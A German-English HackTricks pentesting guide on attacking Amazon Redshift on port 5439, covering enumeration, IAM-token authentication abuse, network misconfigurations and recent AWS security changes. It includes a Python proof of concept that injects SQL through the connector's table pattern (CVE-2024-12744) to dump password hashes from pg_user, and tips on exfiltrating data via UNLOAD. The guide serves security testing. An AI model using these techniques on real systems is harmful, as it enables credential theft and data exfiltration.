5439 - Pentesting Redshift

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Dieser Port wird von Amazon Redshift (von AWS verwaltetes Data Warehouse) verwendet. Das Wire-Protokoll von Redshift ist ein leicht modifiziertes PostgreSQL-Protokoll, daher funktionieren die meisten Postgres-Client-Tools (psql, psycopg2, JDBC/ODBC), aber auth- und TLS-Anforderungen unterscheiden sich.

Für weitere Informationen siehe:

AWS - Redshift Enum - HackTricks Cloud

Enumeration & Connectivity

  • Standard-Port: 5439/TCP (anpassbar). Serverless workgroups verwenden ebenfalls standardmäßig 5439.
  • Muster für öffentliche Endpunkte: <clusterid>.<random>.<region>.redshift.amazonaws.com (public) or .redshift.amazonaws.com.cn (China). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift requires TLS 1.2+ and perfect-forward-secrecy ciphers. Ältere Clients können fehlschlagen; erzwinge modernes TLS:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl steuert, ob Klartext erlaubt ist. Neue clusters/workgroups verwenden default.redshift-2.0 mit require_ssl=true, so downgrade/mitm is harder.

Quick enum with psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Errors differentiate bad password vs missing user → potential username enumeration during brute force.

Zu testende Authentifizierungspfade

  • Datenbank-Passwort für den Master-User (oft awsuser) oder angelegte DB-User.
  • IAM auth tokens: generiere kurzlebige Credentials und verbinde über libpq/JDBC/ODBC mit sslmode=require und authMech=IAM oder plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Missbrauche gestohlene IAM creds/rollen mit einer rds-db:connect-ähnlichen Berechtigung für Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name kann einen lokalen Webserver für SSO starten; ein abgefangener Loopback-Callback kann SAML-Assertion oder temporäre Anmeldeinformationen leak.

Häufige Fehlkonfigurationen (Netzwerk)

  • Cluster mit PubliclyAccessible=true und weit geöffnetem SG (0.0.0.0/0) exponiert eine Postgres-ähnliche Oberfläche für Brute-Force oder SQLi-Ausnutzung.
  • Default port 5439 plus Standard-SG ermöglicht einfache Entdeckung (Shodan/Censys). Die Änderung des Ports ist nur geringe Verschleierung, wird aber in Härtungs-Checklisten manchmal übersehen.
  • No enhanced VPC routing → COPY/UNLOAD laufen über das öffentliche Internet; kann für exfil missbraucht werden, wenn ein Angreifer S3-Bucket/Endpoint kontrolliert.

Angriffshinweise

  • Wenn der Login gelingt, fehlt Redshift in serverless ein Superuser; in provisioned Clustern hat der Master-User weitreichende Rechte, einschließlich Erstellen von UDFs (Python), external schema zu Spectrum, COPY von angreifer-kontrolliertem S3 und UNLOAD zum Exfiltrieren von Daten.
  • Prüfe die Cluster-Parametergruppe auf max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging – deaktiviertes Logging erleichtert das Verbergen.
  • Serverless workgroups sind weiterhin per TCP erreichbar; dieselbe SQL-Angriffsfläche wie bei provisioned Clustern.
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 und ODBC 2.1.5.0 bauen Metadata-Queries mit nicht-quotiertem User-Input in getSchemas/getTables/getColumns (CVE-2024-12744/5/6). Wenn eine App Angreifern erlaubt, catalog- oder pattern-Argumente zu kontrollieren, kann beliebiges SQL injiziert werden, das mit dem DB-User ausgeführt wird, den der Connector verwendet.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs stop working June 30, 2026; only Lambda UDFs allowed after. Offensive impact: legacy provisioned clusters still run Python UDFs for in-cluster code exec (no FS/network). Lambda UDFs move code to Lambda where the IAM role may reach Internet/VPC endpoints for SSRF/pivot but with no direct cluster filesystem access. Hunting old clusters with Python UDFs enabled can still yield RCE primitives.

Aktuelle Sicherheitsänderungen (Auswirkungen auf Offensive)

  • Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
  • Encryption at rest + enforced TLS by default macht Sniffing/MITM schwieriger; es werden gültige Credentials oder SSRF in den VPC-Pfad benötigt.
  • Serverless VPCE rollout change (Jun 27, 2025): Workgroup-Endpoints werden bei Erstellung in bis zu 3 AZs angelegt. Discovery-Tools sollten alle Workgroup-VPCE-DNS-Namen pro AZ auflisten, um erreichbare IPs zu finden.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks